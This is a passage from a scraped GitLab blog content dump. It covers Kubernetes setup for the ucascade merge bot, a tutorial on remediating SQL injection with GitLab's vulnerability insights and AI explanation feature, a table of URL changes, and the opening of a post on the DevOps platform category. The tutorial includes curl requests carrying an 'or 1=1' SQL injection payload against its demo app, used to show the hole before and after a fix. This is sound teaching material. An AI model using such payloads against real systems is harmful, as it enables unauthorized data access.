`bots-fleet` namespace on Kubernetes.\n\n```\nkubectl create namespace bots-fleet\n```\n\nThen, create the `cascading-merge-secret` secret that contains the GitLab project access tokens created previously.\n\n```\nkubectl create secret generic cascading-merge-secret -n bots-fleet \\\n--from-literal=gitlab-host=https://gitlab.com \\\n--from-literal=gitlab-api-token=\u003CUCASCADE_PROJECT_ACCESS_TOKEN> \\\n--from-literal=gitlab-api-token-approver=\u003CAPPROVER_BOT_PROJECT_ACCESS_TOKEN>\n```\n\nOnce done, (fork and) clone the [Cascading Merge repository](https://gitlab.com/madou-stories/bots-fleet/cascading-merge) that contains the Kubernetes manifests for the bot and replace the `host` field in the `kube/ingress.yaml` file according to your Kubernetes domain.\n\n```yaml\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  annotations:\n    kubernetes.io/ingress.class: nginx\n  name: ucascade\n  namespace: bots-fleet\nspec:\n  rules:\n  - host: ucascade.\u003CKUBERNETES_BASED_DOMAIN>\n    http:\n      paths:\n      - backend:\n          service:\n            name: ucascade\n            port:\n              number: 80\n        path: /\n        pathType: Prefix\n\n``` \n\nNow, you are ready to deploy the `ucascade` bot.\n\n```\nkubectl apply -f kube/\n```\n\nYou should see the following resources deployed on Kubernetes:\n\n![ucascade-k8s](https://about.gitlab.com/images/blogimages/2023-06-22-cascading-merge-requests-with-gitlab-flow/ucascade-k8s.png){: .shadow.medium}\n\n**Note:** The `ucascade` image is based on the [ucascade-bot](https://github.com/unblu/ucascade-bot) and is located in the [Container Registry](https://gitlab.com/madou-stories/bots-fleet/cascading-merge/container_registry) of the Cascading Merge repository.\n{: .note}\n\n## Create a GitLab webhook\nFollow the instructions on [the Webhooks page](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#configure-a-webhook-in-gitlab) to create a webhook with the following variables: \n  - **URL**: `\u003CUCASCADE_INGRESS_URL>/ucascade/merge-request`\n  - **Trigger**: `Merge request events`\n\n![webhook](https://about.gitlab.com/images/blogimages/2023-06-22-cascading-merge-requests-with-gitlab-flow/webhook.png){: .shadow.medium}\n\n## Configure your Cascading Merge rule\nCreate a file called ucascade.json at the root level of your GitLab project as defined in [configuration file](https://unblu.github.io/ucascade/tech-docs/11_ucascade-configuration-file.html#_configuration_file) and matched with your release definition.\n\n![configuration](https://about.gitlab.com/images/blogimages/2023-06-22-cascading-merge-requests-with-gitlab-flow/configuration.png){: .shadow.medium}\n\n## Testing the Cascading Merge\nNow create a branch and an MR from your default branch, make a change, and merge it. The ucascade bot will propagate the change to all other release branches by automatically creating cascading MRs. The following video demonstrates the process:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Ej7xf8axWMs\" title=\"Cascading Merge Approach\"\n  frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n# Additional resources\nFind more information about the `ucascade` bot in the [ucascade documentation](https://unblu.github.io/ucascade/index.html).\n\n_Special thank you to Jérémie Bresson for authoring and open sourcing this amazing bot!_\n",[110,1207,1067,696],{"slug":8684,"featured":92,"template":678},"cascading-merge-requests-with-gitlab-flow","content:en-us:blog:cascading-merge-requests-with-gitlab-flow.yml","Cascading Merge Requests With Gitlab Flow","en-us/blog/cascading-merge-requests-with-gitlab-flow.yml","en-us/blog/cascading-merge-requests-with-gitlab-flow",{"_path":8690,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8691,"content":8696,"config":8700,"_id":8702,"_type":16,"title":8703,"_source":17,"_file":8704,"_stem":8705,"_extension":20},"/en-us/blog/remediating-vulnerabilities-with-insights-and-ai",{"title":8692,"description":8693,"ogTitle":8692,"ogDescription":8693,"noIndex":6,"ogImage":3431,"ogUrl":8694,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8694,"schema":8695},"Remediating vulnerabilities with GitLab's security insights and AI","Learn how to leverage vulnerability insights and the Explain this Vulnerability AI feature to not only resolve a vulnerability, but also understand it.","https://about.gitlab.com/blog/remediating-vulnerabilities-with-insights-and-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Remediating vulnerabilities with GitLab's security insights and AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2023-08-31\",\n      }",{"title":8692,"description":8693,"authors":8697,"heroImage":3431,"date":8680,"body":8698,"category":791,"tags":8699},[1622],"\nWe recently introduced [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a complete suite of AI capabilities to power your DevSecOps workflows. GitLab Duo's AI features not only enable you to write secure code faster, but also enhance productivity by providing helpful explanations and insights into your code. For instance, you can harness the power of AI to prevent security breaches. In this tutorial, we will go over the Explain this Vulnerability AI feature, which is in beta, and how it can be used with vulnerability insights to remediate vulnerabilities.\n\nYou will learn the following:\n* How the Explain this Vulnerability AI feature works\n* Prerequisites for Explain this Vulnerability and other GitLab AI features\n* How GitLab Vulnerability Insights assists in remediation\n* How to remediate a SQL-injection vulnerability using GitLab's vulnerability insights and Explain this Vulnerability\n* Additional GitLab AI capabilities (GitLab Duo currently requires connectivity to access Google large language models (LLMs), however, there are plans to expand these features to limited-connectivity environments)\n\nSee the following video for a quick overview of Vulnerability Insights + AI \"Explain this Vulnerability\". \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/1UagZx_CUks\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nYou can also see a detailed walkthrough of [Leveraging GitLab Vulnerability Insights + AI to Remediate a SQL-Injection](https://youtu.be/EJXAIzXNAWQ?feature=shared) in the [Solving a SQL injection using vulnerability insights and AI](#solving-a-sql-injection-using-vulnerability-insights-and-ai) section below.\n\n## What is the Explain this Vulnerability AI feature?\nThe [Explain this Vulnerability](https://docs.gitlab.com/ee/user/ai_features.html#explain-this-vulnerability-in-the-web-ui) feature\nleverages an LLM powered by Google AI to assist you in securing your application by:\n* Summarizing detected vulnerabilities\n* Helping developers and security analysts understand the vulnerability and its implications\n* Showing how a vulnerability can be exploited with detailed example code\n* Providing in-depth solutions to the vulnerability\n* Providing suggested mitigation along with sample code tuned toward your project's programming language\n\nTo begin using Explain this Vulnerability, you must have the following prerequisites configured:\n\n* [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) SaaS subscription\n* [Experiment features enabled](https://docs.gitlab.com/ee/user/group/manage.html#enable-experiment-features)\n* [Third-party AI features enabled](https://docs.gitlab.com/ee/user/group/manage.html#enable-third-party-ai-features)\n* Static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) vulnerability finding in the default branch of a project\n* [Maintainer](https://docs.gitlab.com/ee/user/permissions.html) or greater role in the vulnerable project \n* [SAST scanner](https://docs.gitlab.com/ee/user/application_security/sast/) enabled in the vulnerable project\n* An active internet connection\n\nOnce the prerequisites have been configured, to begin using Explain this Vulnerability, perform the following steps:  \n\n1) Navigate to the [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/).  \n2) Find a SAST vulnerability finding.  \n3) Scroll to the bottom of the [vulnerability page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/).  \n4) Press the **Try it out** button in \"Explain this Vulnerability and how to mitigate it with AI\" section.  \n\n![View of the \"Try it out\" button at bottom of screen](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/ai_explain_this_vulnerability_try_it_out_dialog.png)\n\nOnce you click the button, GitLab will begin to generate the following:\n* **What is the vulnerability?**: Details on the vulnerability and how it may affect your application\n* **How can an attacker take advantage of the vulnerability?**: Commands that a malicious actor can use to exploit the vulnerability\n* **How can the vulnerability be fixed?**: Details on how the vulnerability can be remediated\n* **Example of vulnerable code**: The actual vulnerable code in the language of your application\n* **Example of fixed code**: Code showing a fix that should be applied to remediate the vulnerability in the language of your application\n* **References**: Links providing details relevant to the vulnerability\n* **User rating request**: Allows for user input, which is used to improve the model\n\n![AI response depicting the above list](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/ai_explain_this_vulnerability_results.png)\n\nThis information can be used together with vulnerability insights to resolve the vulnerability. Now let's discuss vulnerability insights.\n\n## Vulnerability insights\nVulnerability insights provide detailed information on a vulnerability and how to resolve it. This detailed information\nincludes:\n\n* **Description**: A detailed description of the vulnerability and its implications\n* **Severity**: The severity of the vulnerability based on the [CVSS rating](https://nvd.nist.gov/vuln-metrics/cvss)\n* **Project**: The project where the vulnerability was found\n* **Tool**: The type of scanner that found the vulnerability\n* **Scanner**: The specific name of the scanner that found the vulnerability\n* **Location**: The line of code where the vulnerability is present\n* **Identifiers**: Links that identify and provide additional information on the vulnerability such as the CVE/CWE page\n* **Training**: Security training available from our partners to educate developers on the vulnerability\n* **Solution**: Information on how to remediate the vulnerability\n* **Method**: The [REST API method](https://www.w3schools.in/restful-web-services/rest-methods) used to exploit the vulnerability (dynamic scanners only)\n* **URL**: The URL in which the vulnerability was detected (dynamic scanners only)\n* **Request/response**: The request sent and response received when exploiting the vulnerability (dynamic scanners only)\n\n**Note**: Results may vary depending on the scanner used.\n\nHaving all this information not only allows you to resolve a vulnerability with ease but also enhances your security\nknowledge. All these insights are provided as a single source of truth that both developer and security teams can view and\ntake action on asynchronously.\n\nDevelopers can leverage insights within a merge request (MR). The MR insights show the vulnerabilities in the diff\nbetween a feature branch and the branch you are merging into. This allows you to continuously iterate until you have resolved\na vulnerability and then alert security engineers when approval is required, giving developers the power to resolve\nvulnerabilities themselves.\n\n![MR insights sample](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/vulnerability_insights_mr_view.png)\n\nThe security team can leverage insights via the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/). The vulnerability report shows vulnerabilities present in the `default` branch, which is typically linked to production. From here, the security team can collaborate on a resolution as well as triage and manage vulnerabilities.\n\n![Vulnerability report sample](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/vulnerability_insights_vulnerability_report.png)\n\n**Note**: Currently, the Explain this Vulnerability feature can only be seen in the Vulnerability Report view. It is currently\nbeing considered for the MR view, see [future iterations under consideration](https://gitlab.com/groups/gitlab-org/-/epics/10284#future-iterations-under-consideration) for more information.\n\n## Solving a SQL injection using vulnerability insights and AI\nBy leveraging both vulnerability insights and Explain this Vulnerability, we have all the resources necessary to\nnot only resolve a vulnerability but also understand it. Let's see how we can use these features to [solve a SQL injection](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/documentation/anatomy_of_a_vulnerability/). \n\nNow let's go over the steps to remediate a SQL injection. You can follow along with the video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/EJXAIzXNAWQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n**Privacy notice**: Explain this Vulnerability only uses `public repos` to train the LLM. Code in private repositories\nis not transferred to the LLM.\n\nI will be using the [Simple Notes project](https://gitlab.com/gitlab-de/tutorials/security-and-governance/devsecops/simply-vulnerable-notes) to showcase this. You can set up DevSecOps within GitLab yourself by going over the following [tutorial](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/). After you have done so, you can run through the following:\n\n1) Navigate to **Secure > Vulnerability Report**.\n\n2) Sort by **SAST** under **Scanner**.\n\n3) Find and select a SQL injection vulnerability. a SQL injection will be titled something like\n`Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')`.\n\n4) Examine the vulnerability insights.\n\n* **Description**: Detected possible formatted SQL query.\n* **Location**: File: [notes/db.py:100](https://gitlab.com/gitlab-de/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/-/blob/24ff1847aa70c4d51482fe28f019e3724b399aaf/notes/db.py#L100)\n* **Identifier**: [bandit.B608](https://semgrep.dev/r/gitlab.bandit.B608), [CWE-89](https://cwe.mitre.org/data/definitions/89.html)\n* **Solution**: Use parameterized queries instead=\n* **Training**: [Secure Code Warrior](https://portal.securecodewarrior.com/?utm_source=partner-integration:gitlab&partner_id=gitlab#/contextual-microlearning/web/injection/sql/python/vanilla), [SecureFlag](https://knowledge-base.secureflag.com/vulnerabilities/sql_injection/sql_injection_python.html), and [Kontra](https://application.security/gitlab/free-application-security-training/owasp-top-10-sql-injection)\n\n![SQL Injection Walkthrough - Insights](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/vulnerability_insights_vulnerability_report.png)\n\n5) Scroll down to the \"Explain this vulnerability and how to mitigate it with AI** section and click the **Try it out** button.\n\n**Privacy notice**: If the **Send code to prompt** radio button is selected, response quality is improved. However, the actual code is\nused in a query to the LLM (even in private repositories).\n\n![SQL Injection Walkthrough - AI \"Try it out\" button](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/ai_explain_this_vulnerability_try_it_out_dialog.png)\n\n6) Examine the provided AI solutions.\n\n![SQL Injection Walkthrough - AI response](https://about.gitlab.com/images/blogimages/2023-08-31-solving-vulnerabilities-with-insights-and-ai/ai_explain_this_vulnerability_results.png)\n\n7) Exploit the vulnerability\nWe can use the information provided in the **AI response**, the samples in the **vulnerability insight CWE identifier**,\nand the applications [API guide](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/documentation/api_guide/) to generate a malicious curl command as follows:\n\n```bash\n# A REGULAR API-CALL\n$ curl http://{LOAD_BALANCER_IP}/{APPLICATION_PATH}/api\n\n{\"Note\":\"[(1, 'cat'), (2, 'dog'), (3, 'frog'), (4, 'hog')]\"}\n\n# API CALL PASSING '1 or 1=1' AS SHOWN IN AI RESPONSE AND DETAILED IN IDENTIFIERS\n# NOTE: `1%20or%201%3D1` IS URL ENCODED '1 or 1=1'\n$ curl http://{LOAD_BALANCER_IP}/{APPLICATION_PATH}/api\\?id\\=1%20or%201%3D1\n\n{\"Note\":\"[(1, 'cat'), (2, 'dog'), (3, 'frog'), (4, 'hog'), (5, 'meow'), (6, 'bark'), (7, 'ribbit'), (8, 'grunt')]\"}\n```\n\nThis shows us that we can exploit the SQL injection since we exposed data we should not have access to.\nExploiting a vulnerability is not always as simple, so it is important to combine resources as noted above\nto figure out exploitability.\n\n8) Determine a fix.\n\nNow that we know this is a problem within our system, we can use the provided information to create an merge request (MR) to resolve\nand then test the MR in a non-production environment. Reviewing the vulnerability insights and AI response, we know we can solve this\nin a variety of ways. For example, we can:\n  \n* Use parameterized queries rather than directly calling the query\n* Sanitize the input before passing it to the `execute()` method\n\nTo enhance our knowledge, we should read [CWE-89](https://cwe.mitre.org/data/definitions/89.html) provided in the Identifiers.\n\n9) Open the [GitLab WebIDE](https://docs.gitlab.com/ee/user/project/web_ide/) or editor of your choice.\n\n10) Open the vulnerable file and scroll to the affected line of code. We found this using the information provided in the insights.\n\n11) Apply the suggested change by reviewing the vulnerability insights and AI response. I changed the following:\n\n```python\ntry:\n  query = \"SELECT id, data FROM notes WHERE (secret IS FALSE AND id = %s)\" % id\n  if admin:\n    query =\"SELECT id, data, secret FROM notes WHERE (id = %s)\" % id\n  # NOT USING A PARAMETERIZED QUERY - SQL INJECTION CAN BE PASSED IN (,id)\n  cur.execute(query)\nexcept Exception as e:\n  note.logger.error(\"Error: cannot select note by id - %s\" % e)\n```\n\nto \n\n```python\ntry:\n  query = \"SELECT id, data FROM notes WHERE (secret IS FALSE AND id = %s)\"\n  if admin:\n    query =\"SELECT id, data, secret FROM notes WHERE (id = %s)\"\n  # USING A PARAMETERIZED QUERY - SQL INJECTION CANNOT BE PASSED IN (,id)\n  cur.execute(query, (id,))\nexcept Exception as e:\n  note.logger.error(\"Error: cannot select note by id - %s\" % e)\n```\n\nWe know this is the solution because parameterized queries as explained do not allow actual SQL\ncommands to be run. Therefore, a SQL injection cannot be passed as the `id`. Adding a parameterized\nquery is easy since it is built into the Python db library we are using.\n\nThere may be multiple solutions to a vulnerability. It is up to the user to decide what is best\nfor their application and workflow. The AI response provides a typical solution, but more can be\nexamined and applied. For example, the AI response said we can add the following:\n\n```python\ncur.execute(query.replace(\"'\", \"''\"))\n```\n\nThis would escape the single quotes in the input, making it safe to pass to the `execute()` method.\nIt is a valid solution with less code required. However, I wanted to restructure my code, so I applied\nanother solution found in the vulnerability insights.\n\n12) Create an MR with the fix. In my environment, feature branches are automatically deployed\nto a new environment independent from production so we can test our features before merging them\nto production.\n\n13) Test the change in a non-production environment.\n\nOnce we push the MR, we can see if the vulnerability has been resolved and we can test in a non-production\nenvironment:\n\n```bash\n# A REGULAR API-CALL\n$ curl http://{LOAD_BALANCER_IP}/{NEW_BRANCH_FIXED_APPLICATION_PATH}/api\n\n{\"Note\":\"[(1, 'cat'), (2, 'dog'), (3, 'frog'), (4, 'hog')]\"}\n\n# API CALL PASSING '1 or 1=1' AS SHOWN IN AI RESPONSE AND DETAILED IN IDENTIFIERS\n# NOTE: `1%20or%201%3D1` IS URL ENCODED '1 or 1=1'\n$ curl http://{LOAD_BALANCER_IP}/{NEW_BRANCH_FIXED_APPLICATION_PATH}/api\\?id\\=1%20or%201%3D1\n\n{\"Note\":\"[(1, 'cat')]\"}\n```\n\nWe can see that now the additional query parameters `or 1=1` are ignored and only the first element\nis returned, meaning only the `1` was passed. We can further test if we can get item `5` which we should\nnot have access to:\n\n```bash\n# API CALL PASSING '5 or 1=1' AS SHOWN IN AI RESPONSE AND DETAILED IN IDENTIFIERS\n# NOTE: `5%20or%201%3D1` IS URL ENCODED '5 or 1=1'\n$ curl http://{LOAD_BALANCER_IP}/{NEW_BRANCH_FIXED_APPLICATION_PATH}/api\\?id\\=5%20or%201%3D1\n{\"Note\":\"[]\"}\n```\n\nSuccess, the SQL injection is no longer present!\n\n14) Merge into production.\n\nNow that we know the vulnerability has been resolved we can go ahead and merge our fix! This is how you can use vulnerability insights\nto help resolve your vulnerabilities. If you wish to test all this for yourself, check out the complete [GitLab DevSecOps tutorial](https://gitlab-de.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/).\n\n## Additional GitLab AI features\nAs we have seen above, Explain this Vulnerability assists you in remediating the vulnerabilities within your\ndefault branch, but that's not the only AI feature GitLab has available! Other AI features to enhance your productivity include:\n\n* [Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html): Enables you to write code more efficiently by viewing code suggestions as you type\n* [Suggested Reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#suggested-reviewers): Helps you receive faster and higher-quality reviews by automatically finding the right people to review a merge request\n* [Value Stream Forecasting](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html): Predicts productivity metrics and identifies anomalies across your software development lifecycle\n* [Summarize Issue Comments](https://docs.gitlab.com/ee/user/ai_features.html#summarize-issue-discussions): Quickly gets everyone up to speed on lengthy conversations to ensure you are all on the same page\n* [Summarize Proposed Merge Request Changes](https://docs.gitlab.com/ee/user/ai_features.html#summarize-my-merge-request-review): Helps merge request authors drive alignment and action by efficiently communicating the impact of their changes\n* [Summarize Merge Request Review](https://docs.gitlab.com/ee/user/ai_features.html#summarize-merge-request-changes): Enables better handoffs between authors and reviewers and helps reviewers efficiently understand merge request suggestions\n* [Generate Tests in Merge Requests](https://docs.gitlab.com/ee/user/ai_features.html#generate-suggested-tests-in-merge-requests): Automates repetitive tasks and helps you catch bugs early\n* [GitLab Chat](https://docs.gitlab.com/ee/user/ai_features.html#gitlab-duo-chat): Helps you quickly identify useful information in large volumes of text, such as documentation\n* [Explain this Code](https://docs.gitlab.com/ee/user/ai_features.html#explain-selected-code-in-the-web-ui): Allows you to get up to speed quickly by explaining source code\n\nVisit our [GitLab Duo site](https://about.gitlab.com/gitlab-duo/) to learn more about these features, GitLab's mission around AI, and our partnership with Google.\n",[790,674,696],{"slug":8701,"featured":6,"template":678},"remediating-vulnerabilities-with-insights-and-ai","content:en-us:blog:remediating-vulnerabilities-with-insights-and-ai.yml","Remediating Vulnerabilities With Insights And Ai","en-us/blog/remediating-vulnerabilities-with-insights-and-ai.yml","en-us/blog/remediating-vulnerabilities-with-insights-and-ai",{"_path":8707,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8708,"content":8713,"config":8719,"_id":8721,"_type":16,"title":8722,"_source":17,"_file":8723,"_stem":8724,"_extension":20},"/en-us/blog/changes-coming-to-url-structure-follow-deprecations-redirects",{"title":8709,"description":8710,"ogTitle":8709,"ogDescription":8710,"noIndex":6,"ogImage":831,"ogUrl":8711,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8711,"schema":8712},"Bookmark these changes: URL structure updates coming in GitLab 17.0","An overview of project and user settings URL changes, including deprecations and redirects, that will happen in 17.0.","https://about.gitlab.com/blog/changes-coming-to-url-structure-follow-deprecations-redirects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bookmark these changes: URL structure updates coming in GitLab 17.0\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christen Dybenko\"}],\n        \"datePublished\": \"2023-08-30\",\n      }",{"title":8709,"description":8710,"authors":8714,"heroImage":831,"date":8716,"body":8717,"category":736,"tags":8718},[8715],"Christen Dybenko","2023-08-30","\nOver the next few releases GitLab will be making some changes to our URL structure. They mainly affect settings pages, but we're cleaning up a few other URLs as well. The URL structure represents the site map, and it should be both predictable and consistent.\nOver the years, page titles have begun to deviate from their original designation and these changes aim to rectify that.\nYou can see the full effect of these changes in the tables below.\n\nWe will be adding these as 301 redirects over the next few months, with a plan to remove the old routes entirely in our 17.0 release in May 2024. If you have any of these pages bookmarked, or rely on these URLs, they will continue to work up until the removal in 17.0.\n\nPlease share your feedback on this change in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/420675).\n\n## Page URL updates\nHere are the page URL updates for projects and user settings.\n\n### Project\n\n| Sidebar | Current Path | New Path |\n|---------|------|-------------|\n| Analyze / **Contributor statistics** | /-/\u003Cspan style=\"background: #fdd4cd;\">graphs\u003C/span>/{default branch name} | /-/\u003Cspan style=\"background: #c3e6cd;\">contributor_statistics\u003C/span>/{default branch name} |\n| Code / **Repository graph** | /-/\u003Cspan style=\"background: #fdd4cd;\">network\u003C/span>/{default branch name} | /-/\u003Cspan style=\"background: #c3e6cd;\">repository_graph\u003C/span>/{default branch name} |\n| Code / **Locked files** | /\u003Cspan style=\"background: #fdd4cd;\">path_locks\u003C/span> | \u003Cspan style=\"background: #c3e6cd;\">/-/locked_files\u003C/span> |\n| Monitor / **Alerts** | /-/\u003Cspan style=\"background: #fdd4cd;\">alert_management\u003C/span> | /-/\u003Cspan style=\"background: #c3e6cd;\">alerts\u003C/span> | \n| Settings / **Webhooks** | /-/\u003Cspan style=\"background: #fdd4cd;\">hooks\u003C/span> | /-/\u003Cspan style=\"background: #c3e6cd;\">settings/webhooks\u003C/span> | \n| Settings / **Monitor** | /-/settings/\u003Cspan style=\"background: #fdd4cd;\">operations\u003C/span> | /-/settings/\u003Cspan style=\"background: #c3e6cd;\">monitor\u003C/span> | \n\n### User settings\n\n| Sidebar | Current Path | New Path |\n|---------|------|---------|\n| User settings \u003Cbr>↳ Profile | /-/profile | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/profile | \n| User settings \u003Cbr>↳ Account | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/account | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/account |\n| User settings \u003Cbr>↳ Applications | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/applications | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/applications | \n| User settings \u003Cbr>↳ Chat | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/chat\u003Cspan style=\"background: #fdd4cd;\">\\_names\u003C/span> | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/chat | \n| User settings \u003Cbr>↳ Personal access tokens | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/personal_access_tokens | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/personal_access_tokens | \n| User settings \u003Cbr>↳ Emails | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/emails | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/emails | \n| User settings \u003Cbr>↳ Password | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/password/edit | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/password/edit | \n| User settings \u003Cbr>↳ Notifications | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/notifications | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/notifications | \n| User settings \u003Cbr>↳ SSH keys | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/keys | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/\u003Cspan style=\"background: #c3e6cd;\">ssh\u003C/span>\\_keys | \n| User settings \u003Cbr>↳ GPG keys | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/gpg_keys | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/gpg_keys | \n| User settings \u003Cbr>↳ Preferences | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/preferences | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/preferences | \n| User settings \u003Cbr>↳ Active sessions | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/active_sessions | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/active_sessions | \n| User settings \u003Cbr>↳ Authentication log | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/\u003Cspan style=\"background: #fdd4cd;\">audit_log\u003C/span> | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/\u003Cspan style=\"background: #c3e6cd;\">authentication_log\u003C/span> | \n| User settings \u003Cbr>↳ Usage quotas | /-/\u003Cspan style=\"background: #fdd4cd;\">profile\u003C/span>/usage_quotas | /-/\u003Cspan style=\"background: #c3e6cd;\">user_settings\u003C/span>/usage_quotas |\n",[736,754,774,479],{"slug":8720,"featured":6,"template":678},"changes-coming-to-url-structure-follow-deprecations-redirects","content:en-us:blog:changes-coming-to-url-structure-follow-deprecations-redirects.yml","Changes Coming To Url Structure Follow Deprecations Redirects","en-us/blog/changes-coming-to-url-structure-follow-deprecations-redirects.yml","en-us/blog/changes-coming-to-url-structure-follow-deprecations-redirects",{"_path":8726,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8727,"content":8733,"config":8737,"_id":8739,"_type":16,"title":8740,"_source":17,"_file":8741,"_stem":8742,"_extension":20},"/en-us/blog/origin-of-devsecops-platform-category",{"title":8728,"description":8729,"ogTitle":8728,"ogDescription":8729,"noIndex":6,"ogImage":8730,"ogUrl":8731,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8731,"schema":8732},"Disagree, commit, and disagree: How a lazy solution became a category","Find out the origin story of the DevSecOps category.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679881/Blog/Hero%20Images/flowercomingthroughsidewalkcrack.png","https://about.gitlab.com/blog/origin-of-devsecops-platform-category","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Disagree, commit, and disagree: How a lazy solution became a category\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2023-08-30\",\n      }",{"title":8728,"description":8729,"authors":8734,"heroImage":8730,"date":8716,"body":8735,"category":736,"tags":8736},[3532],"\nA few months ago, GitLab - and the DevOps Platform category - reached a big milestone. Two influential analyst firms, [Gartner](https://about.gitlab.com/blog/gitlab-leader-gartner-magic-quadrant-devops-platforms/) and [Forrester](https://about.gitlab.com/blog/gitlab-leader-forrester-wave-integrated-software-delivery-platforms/), issued reports that validate the market is moving from point solutions to a platform. They officially recognized DevOps platforms as a category. A category we created. \n\nThis is the story of how we did it.\n\nI am thrilled that we created a category. Very few companies are able to do so. Other examples are Dropbox for the file hosting service category; Hubspot for inbound marketing; and Slack for searchable logs of all communications and knowledge. The backstory is that we did not start with a vision for creating a category. GitLab didn’t even begin as a business. It started with a programmer’s need for a great open source collaboration tool. \n\nNow, nearly 12 years after GitLab’s [very first commit](https://gitlab.com/gitlab-org/gitlab-foss/-/commit/9ba1224867665844b117fa037e1465bb706b3685), I want to share what we learned on the journey to creating the DevOps Platform category.\n\n## Category design begins with solving your own problem\nDmitriy Zaporozhets needed a tool to collaborate with his team. His employer at the time wasn’t willing to buy the tool he wanted, so he decided to build it himself. He created GitLab in 2011 from his home in Ukraine.\n\nTogether with Valeriy Sizov, Dmitriy started to build GitLab as a developer collaboration tool based on Git. Developers from around the world quickly began using it. In the first year, 300 people contributed to improving it.\n\nGitLab was not founded with a grand plan or a 10-year vision to create a single platform for the entire software development lifecycle. The reality is that GitLab began with one person who had a need and built a solution to meet it.\n\n## Categories are discovered, not planned\nOne of the things I respect most about Dmitriy is that he built GitLab as open source, allowing others to use his ideas and build on them in their own ways. He was so committed to open source that he was supportive of me commercializing his work.\n\nI encountered GitLab for the first time in 2012. I recognized the value that it could provide for other software companies, but I also saw the challenges in installing and managing it. Not everyone had the means to do that. I saw the potential for GitLab to be commercialized as a SaaS business: cloud-based source code management (SCM) for everyone.\n\nI was nervous about commercializing Dmitriy’s work, so I reached out to tell him what I was working on. He was happy that what I was doing could help 